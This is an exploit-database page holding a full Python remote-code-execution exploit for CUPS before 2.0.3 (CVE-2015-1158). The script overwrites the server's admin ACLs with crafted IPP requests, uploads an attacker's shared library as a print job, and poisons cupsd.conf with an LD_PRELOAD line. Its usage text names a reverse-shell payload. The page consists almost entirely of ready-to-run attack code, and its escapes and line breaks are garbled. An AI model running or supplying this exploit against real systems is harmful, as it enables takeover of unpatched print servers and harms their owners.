Home / os / win2k

CUPS < 2.0.3 Reference Count Over Decrement Remote Code Execution

Posted on 30 November -0001

<HTML><HEAD><TITLE>CUPS <2.0.3 Reference Count Over Decrement Remote Code Execution</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#!/usr/bin/python # Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution # Google Dork: n/a # Date: 2/2/17 # Exploit Author: @0x00string # Vendor Homepage: cups.org # Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2 # Version: <2.0.3 # Tested on: Ubuntu 14/15 # CVE : CVE-2015-1158 import os, re, socket, random, time, getopt, sys from socket import * from struct import * def banner(): print ''' lol ty google 0000000000000 0000000000000000000 00 00000000000000000000000000000 0000000000000000000000000000000 000000000 0000000000 00000000 0000000000 0000000 000000000000 0000000 000000000000000 000000 000000000 000000 0000000 000000000 000000 000000 000000000 000000 000000 000000000 000000 000000 00000000 000000 000000 000000000 000000 0000000 000000000 0000000 000000 000000000 000000 0000000000000000 0000000 0000000000000 0000000 00000000000 00000000 00000000000 000000000 0000000000000000000000000000000 00000000000000000000000000000 000 0000000000000000000 0000000000000 @0x00string github.com/0x00string/oldays/CVE-2015-1158.py ''' def usage (): print ("python script.py <args> " " -h, --help: Show this message " " -a, --rhost: Target IP address " " -b, --rport: Target IPP service port " " -c, --lib /path/to/payload.so " " -f, --stomp-only Only stomp the ACL (no postex) " " " "Examples: " "python script.py -a 10.10.10.10 -b 631 -f " "python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so ") exit() def pretty (t, m): if (t is "+"): print "x1b[32;1m[+]x1b[0mt" + m + " ", elif (t is "-"): print "x1b[31;1m[-]x1b[0mt" + m + " ", elif (t is "*"): print "x1b[34;1m[*]x1b[0mt" + m + " ", elif (t is "!"): print "x1b[33;1m[!]x1b[0mt" + m + " ", def createDump (input): d, b, h = '', [], [] u = list(input) for e in u: h.append(e.encode("hex")) if e == '0x0': b.append('0') elif 30 > ord(e) or ord(e) > 128: b.append('.') elif 30 < ord(e) or ord(e) < 128: b.append(e) i = 0 while i < len(h): if (len(h) - i ) >= 16: d += ' '.join(h[i:i+16]) d += " " d += ' '.join(b[i:i+16]) d += " " i = i + 16 else: d += ' '.join(h[i:(len(h) - 0 )]) pad = len(' '.join(h[i:(len(h) - 0 )])) d += ' ' * (56 - pad) d += ' '.join(b[i:(len(h) - 0 )]) d += " " i = i + len(h) return d class tcpsock: def __init__(self, sock=None): if sock is None: self.sock = socket( AF_INET, SOCK_STREAM) self.sock.settimeout(30) else: self.sock = sock def connect(self, host, port): self.sock.connect((host, int(port))) def tx(self, msg): self.sock.send(msg) def rx(self): tmp = self.sock.recv(1024) msg = "" while tmp: msg += tmp tmp = self.sock.recv(1024) return msg def txrx (ip, port, proto, txpacket): if (proto is "tcp"): sock = tcpsock() elif (proto is "udp"): sock = udpsock() else: return None sock.connect(ip, port) sock.tx(txpacket) rxpacket = sock.rx() return rxpacket def locatePrinters(rhost, rport="631"): request = ( "GET /printers HTTP/1.1x0dx0a" "Host: " + rhost + ":" + rport + "x0dx0a" "User-Agent: CUPS/2.0.2x0dx0a" "Connection: Closex0dx0a" "x0dx0a") response = txrx(rhost, int(rport), "tcp", request) if response is not None: m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response) if m is not None: printer = m.group(1) pretty("+","printer found: " + printer) else: pretty("-","no printers") exit(1) return printer def preparePayload(libpath): with open(libpath, 'rb') as f: payload = f.read() if payload is not None: pretty("*","Payload: " + createDump(payload)) else: pretty("-","something went wrong") usage() return payload def seedTarget(rhost, rport, printer, payload): i = random.randint(1,3) reqid = str(pack(">i",(i+2))) reqid2 = str(pack(">i",(i+3))) printer_uri = "ipp://" + rhost + ":" + str(rport) + printer create_job_packet = ("x02x00" "x00x05"+ reqid+ "x01" "x47"+"x00x12"+"attributes-charset"+"x00x05"+"utf-8" "x48"+"x00x1b"+"attributes-natural-language"+"x00x05"+"en-us" "x45"+"x00x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri + "x42"+"x00x14"+"requesting-user-name"+"x00x04"+"root" "x42"+"x00x08"+"job-name"+"x00x06"+"badlib" "x02" "x21"+"x00x06"+"copies"+"x00x04"+"x00x00x00x01" "x23"+"x00x0a"+"finishings"+"x00x04"+"x00x00x00x03" "x42"+"x00x10"+"job-cancel-after"+"x00x05"+"x31x30x38x30x30" "x44"+"x00x0e"+"job-hold-until"+"x00x0a"+"indefinite" "x21"+"x00x0c"+"job-priority"+"x00x04"+"x00x00x00x32" "x42"+"x00x0a"+"job-sheets"+"x00x04"+"none"+"x42"+"x00x00x00x04"+"none" "x21"+"x00x09"+"number-up"+"x00x04"+"x00x00x00x01" "x03") pretty("*","Sending createJob") http_header1 = ( "POST " + printer + " HTTP/1.1x0dx0a" "Content-Type: application/ippx0dx0a" "Host: " + rhost + ":" + str(rport) + "x0dx0a" "User-Agent: CUPS/2.0.2x0dx0a" "Connection: Closex0dx0a" "Content-Length: " + str(len(create_job_packet) + 0) + "x0dx0a" "x0dx0a") createJobRequest = http_header1 + create_job_packet blah = txrx(rhost,int(rport),"tcp",createJobRequest) if blah is not None: m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(d+)",blah) if m is not None: jobid = m.group(1) else: pretty("-","something went wrong"); exit() pretty("*"," " + createDump(blah) + " ") pretty("*", "Sending sendJob") send_document_packet = ("x02x00" "x00x06"+ reqid2+ "x01" "x47"+"x00x12"+"attributes-charset"+"x00x05"+"utf-8" "x48"+"x00x1b"+"attributes-natural-language"+"x00x05"+"en-us" "x45"+"x00x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri + "x21"+"x00x06"+"job-id"+"x00x04"+ str(pack(">i", int(jobid))) + "x42"+"x00x14"+"requesting-user-name"+"x00x04"+"root" "x42"+"x00x0d"+"document-name"+"x00x06"+"badlib" "x49"+"x00x0f"+"document-format"+"x00x18"+"application/octet-stream" "x22"+"x00x0d"+"last-document"+"x00x01"+"x01" "x03"+ payload) http_header2 = ( "POST " + printer + " HTTP/1.1x0dx0a" "Content-Type: application/ippx0dx0a" "Host: " + rhost + ":" + str(rport) + "x0dx0a" "User-Agent: CUPS/2.0.2x0dx0a" "Connection: Closex0dx0a" "Content-Length: " + str(len(send_document_packet) + 0) + "x0dx0a" "x0dx0a") sendJobRequest = http_header2 + send_document_packet blah2 = txrx("172.20.32.3",631,"tcp",sendJobRequest) pretty("*"," " + createDump(blah) + " ") pretty("*","job id: " + jobid) return jobid def stompACL(rhost, rport, printer): i = random.randint(1,1024) printer_url = "ipp://" + rhost + ":" + rport + printer admin_stomp = ("x02x00" # vers 2.0 "x00x05"+ # op id: Create Job (0x0005) str(pack(">i",(i+1)))+ "x01" # op attributes marker "x47" # charset "x00x12" # name len: 18 "attributes-charset" "x00x08" # val len: 8 "us-ascii" "x48" # natural language "x00x1b" # name len: 27 "attributes-natural-language" "x00x06" # val len: 6 "/admin" "x45" # printer-uri "x00x0b" # name len 11 "printer-uri" + str(pack(">h", len(printer_url))) + printer_url + "x42" # name without lang "x00x14" # name len: 20 "requesting-user-name" "x00x06" # val len: 6 "/admin" "x02" # job attrs marker "x21" # integer "x00x06" # name len: 6 "copies" "x00x04" # val len: 4 "x00x00x00x01" # 1 "x42" # name w/o lang "x00x19" # name len: 25 "job-originating-host-name" "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x36" # nwl "x00x00" # name len: 0 "x00x16" # val len: 22 "x00x06" # length "/admin" "x00x0c" "BBBBBBBBBBBB" "x03") # end of attributes conf_stomp = ("x02x00" # vers 2.0 "x00x05"+ # op id: Create Job (0x0005) str(pack(">i",(i+2)))+ "x01" # op attributes marker "x47" # charset "x00x12" # name len: 18 "attributes-charset" "x00x08" # val len: 8 "us-ascii" "x48" # natural language "x00x1b" # name len: 27 "attributes-natural-language" "x00x0b" # val len: 11 "/admin/conf" "x45" # printer-uri "x00x0b" # name len 11 "printer-uri" + str(pack(">h", len(printer_url))) + printer_url + "x42" # name without lang "x00x14" # name len: 20 "requesting-user-name" "x00x0b" # val len: 11 "/admin/conf" "x02" # job attrs marker "x21" # integer "x00x06" # name len: 6 "copies" "x00x04" # val len: 4 "x00x00x00x01" # 1 "x42" # name w/o lang "x00x19" # name len: 25 "job-originating-host-name" "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x42" # nwol "x00x00" # name len: 0 "x00x0c" # val len: 12 "AAAAAAAAAAAA" "x36" # nwl "x00x00" # name len: 0 "x00x1b" # val len: 27 "x00x0b" # length "/admin/conf" "x00x0c" "BBBBBBBBBBBB" "x03") # end of attributes http_header1 = ("POST " + printer + " HTTP/1.1x0dx0a" "Content-Type: application/ippx0dx0a" "Host: " + rhost + ":" + rport + "x0dx0a" "User-Agent: CUPS/2.0.2x0dx0a" "Connection: Closex0dx0a" "Content-Length: " + str(len(admin_stomp)) + "x0dx0a" "x0dx0a") http_header2 = ("POST " + printer + " HTTP/1.1x0dx0a" "Content-Type: application/ippx0dx0a" "Host: " + rhost + ":" + rport + "x0dx0a" "User-Agent: CUPS/2.0.2x0dx0a" "Connection: Closex0dx0a" "Content-Length: " + str(len(conf_stomp)) + "x0dx0a" "x0dx0a") pretty("*","stomping ACL") pretty("*",">: " + createDump(http_header1 + admin_stomp)) pretty("*","<: " + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp))) time.sleep(1) pretty("*",">: " + createDump(http_header2 + conf_stomp)) pretty("*","<: " + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp))) http_header_check = ("GET /admin HTTP/1.1x0dx0a" "Host: " + rhost + ":" + rport + "x0dx0a" "User-Agent: CUPS/2.0.2x0dx0a" "Connection: Closex0dx0a" "x0dx0a") pretty("*","checking /admin") pretty("*",">: " + createDump(http_header_check)) res = txrx(rhost,rport,"tcp",http_header_check) pretty("*","<: " + createDump(res)) m = re.search('200 OK', res) if m is not None: pretty("+","ACL stomp successful") else: pretty("-","exploit failed") exit(1) def getConfig(rhost, rport): i = random.randint(1,1024) original_config = "" http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1x0dx0a" "Host: " + rhost + ":" + rport + "x0dx0a" "User-Agent: CUPS/2.0.2x0dx0a" "Connection: Closex0dx0a" "x0dx0a") pretty("*","grabbing configuration file....") res = txrx(rhost,rport,"tcp",http_request) res_array = res.split("x0dx0ax0dx0a") original_config = res_array[1] pretty("*","config: " + original_config + " ") return original_config def putConfig(rhost, rport, config): http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1x0dx0a" "Content-Type: application/ippx0dx0a" "Host: " + rhost + ":" + rport + "x0dx0a" "User-Agent: CUPS/2.0.2x0dx0a" "Connection: Keep-Alivex0dx0a" "Content-Length: " + str(len(config)) + "x0dx0a" "x0dx0a") pretty("*","overwriting config...") pretty("*",">: " + createDump(http_request + config)) pretty("*","<: " + createDump(txrx(rhost,rport,"tcp",http_request + config))) def poisonConfig(config, name): config = config + "x0ax0aSetEnv LD_PRELOAD /var/spool/cups/d00" + name + "-001x0a" return config def main(): rhost = None; noshell = None; options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',]) for opt, arg in options: if opt in ('-h', '--help'): usage() elif opt in ('-a','--rhost'): rhost = arg; elif opt in ('-b','--rport'): rport = arg; elif opt in ('-c','--lib'): libpath = arg; elif opt in ('-f','--stomp-only'): noshell = 1; banner() if rhost is None or rport is None: usage() pretty("*","locate available printer") printer = locatePrinters(rhost, rport) pretty("*","stomp ACL") stompACL(rhost, rport, printer) if (noshell is not None): pretty("*","fin") exit(0) pretty("*","prepare payload") payload = preparePayload(libpath) pretty("*","spray payload") jobid = seedTarget(rhost, rport, printer, payload) pretty("*","grab original config") OG_config = getConfig(rhost, rport) pretty("*","generate poison config") evil_config = poisonConfig(OG_config, jobid) pretty("*","upload poison config") putConfig(rhost, rport, evil_config) pretty("*","fin") exit(0); if __name__ == "__main__": main() </BODY></HTML>

 

TOP